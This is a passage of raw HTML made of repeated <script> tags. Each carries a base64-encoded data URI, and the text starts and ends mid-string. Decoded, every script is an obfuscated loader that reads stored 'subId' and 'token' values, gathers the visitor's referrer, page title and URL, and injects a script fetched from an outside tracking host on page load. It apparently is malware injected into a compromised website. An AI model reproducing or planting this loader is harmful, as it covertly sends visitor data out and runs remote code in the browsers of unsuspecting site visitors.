5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3V